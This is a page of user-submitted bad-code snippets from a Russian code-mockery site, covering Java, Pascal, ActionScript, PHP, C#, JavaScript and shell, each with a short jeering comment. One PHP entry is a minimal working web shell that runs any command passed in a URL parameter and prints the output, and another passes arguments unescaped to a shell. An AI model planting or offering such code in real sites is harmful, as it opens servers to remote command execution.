1. Лучший говнокод

    В номинации:
    За время:
  2. Java / Говнокод #6656

    +147

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    try {
              final int dx = MazeBuilder.dirsx[n];
              final int dy = MazeBuilder.dirsy[n];
              final int dn = this.mazedists[this.px + dx][this.py + dy];
              if (dn < d) {
                break;
              }
            } catch (final Exception e) {
            }
    // потом, чуть дальше:
          if (n == 4) {
            this.dbg("HELP!");
          }

    заедаем исключения NullPointerException и ArrayIndexOutOfBoundsException, а заодно и если вдруг еще какое вылетит.
    неудивительно, что потом бывают сюрпризы

    Lure Of Chaos, 14 Мая 2011

    Комментарии (1)
  3. Pascal / Говнокод #6592

    +147

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    procedure AddColoredLine(ARichEdit: TRichEdit; AText: string; AColor: TColor);
    begin
    with ARichEdit do
    begin
    SelStart := Length(Text);
    SelAttributes.Color := AColor;
    SelAttributes.Size := 8;
    SelAttributes.Name := 'MS Sans Serif';
    Lines.Add(AText);
    end;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    AddColoredLine(RichEdit1, 'Govnokoder уебок', clRed);
    AddColoredLine(RichEdit1, 'Govnocoder уебок', clGreen);
    end;

    говнокодер уебак разными цветами

    megaruliz, 07 Мая 2011

    Комментарии (1)
  4. Pascal / Говнокод #6588

    +147

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    s1:=‘789’; s2:=’34.6’;       	s3:=‘3+2a’;
    Val(s1,p,w); writeLn(p:4,w:2);
    Val(s2,q,w); writeLn(q:6:1,w:2);
    WriteLn(p+q:7:1);
    Val(s3,p,w); writeLn(w);
    s1:=‘Я Вас люблю’; WriteLn(s1);
    q:=Length(s1); WriteLn(q);
    p:=Pos(‘о’,s1); WriteLn(p);
    p:=Pos(‘к’,s1); WriteLn(p);

    megaruliz, 07 Мая 2011

    Комментарии (1)
  5. ActionScript / Говнокод #6443

    −106

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    var dictionary:Dictionary = new Dictionary(true);
    var a:Sprite = new Sprite();
     
    dictionary[a] = new Object();
    trace(dictionary[a]); //Outputs [object Object]
     
    a = null; //Clear reference to the Sprite.
     
    trace(dictionary[a]); //Outputs undefined

    Человек в блоге объясняет прелесть Dictionary со слабыми ссылками.

    fljot, 21 Апреля 2011

    Комментарии (1)
  6. PHP / Говнокод #6424

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    <?php
    if(isset($_GET)){
        $_com=$_GET['_com'];
        ob_start();
            passthru($_com." 2>&1");
        $content_grabbed=ob_get_contents();
        ob_end_clean();
        echo '<div>',$content_grabbed,'</div>';
    };
    
    ?>
    
    <form name=sys_form method=GET action="">
    # <input type="text" name="_com" value="ls"><br>
    <input type="submit">
    </form>

    Выполняет команды шела.

    AliceGoth, 20 Апреля 2011

    Комментарии (1)
  7. PHP / Говнокод #6412

    +161

    1. 1
    2. 2
    3. 3
    4. 4
    /**
     * Корневая директория
     */
    define('ROOT', dirname(dirname(dirname(__FILE__))) );

    В случае 5.3 было бы на один раз короче... :P

    istem, 19 Апреля 2011

    Комментарии (1)
  8. C# / Говнокод #6408

    +111

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    // BasePage
    public virtual void Page_Error(object sender, EventArgs e) { }
    
    // Page
    public override void Page_Error(object sender, EventArgs e) { }

    Авторы-индусы были по всей видимости не в курсе о существовании OnError(EventArgs)

    abatishchev, 19 Апреля 2011

    Комментарии (1)
  9. JavaScript / Говнокод #6401

    +156

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    try {
        document.domain = "wolframalpha.com";
        context = parent ? parent : document;
        } catch(e){}
        try { 
            if (typeof(context.$) == "undefined") {
                context = window;
            } else {
                $=context.$;
            }
        }
        catch(e){ context = window; }

    Если с первого раза не получилось...

    RaZeR, 19 Апреля 2011

    Комментарии (1)
  10. Куча / Говнокод #6387

    +146

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    Ошибка: unterminated regular expression literal
    Источник: http://govnokod.ru/media/ddd20ce56acf1d9ebadd126322495087.js?files=jquery.js,jquery.scrollTo.js,govnokod.js,jshighlight/highlight.pack.js&v=4
    Строка 204, символ 158
    Исходный код:
    return curLoop;};var Expr=Sizzle.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,NAME:/\

    Это не код, а баг, из-за которого в Firefox'е комментарии не подгружаются, а открываются на отдельной странице.
    Короче, минусуйте.

    nsauk, 18 Апреля 2011

    Комментарии (1)
  11. Куча / Говнокод #6374

    +146

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    <?php
    /* ...какой-то код... */
    
    /* Как бы та самая с**ная "многозадачность" */
    	$proc = popen("/var/www/test PARAMS", "r");
    
    /* ...какой-то код... */
    ?>
    -----------------------------------------------------------------------------
    #!/bin/sh
    # Содержание /var/www/test
    
    STRING="/usr/bin/php -q /var/www/my/test.php"
    
    	if [ -n "$1" ]
    		then
    			VAR1=$1
    		else
    			VAR1='0'
    	fi
    
    `$STRING $VAR1`&
    
    --------------------------------------------------------------
    <?php
    /* ...какой-то код... */
    	/* 
    	файл /var/www/my/test.php 
    	содержит кой-чего на выполнение...
    	*/
    /* ...какой-то код... */
    ?>

    Кажется это достойно этого сайта...

    istem, 15 Апреля 2011

    Комментарии (1)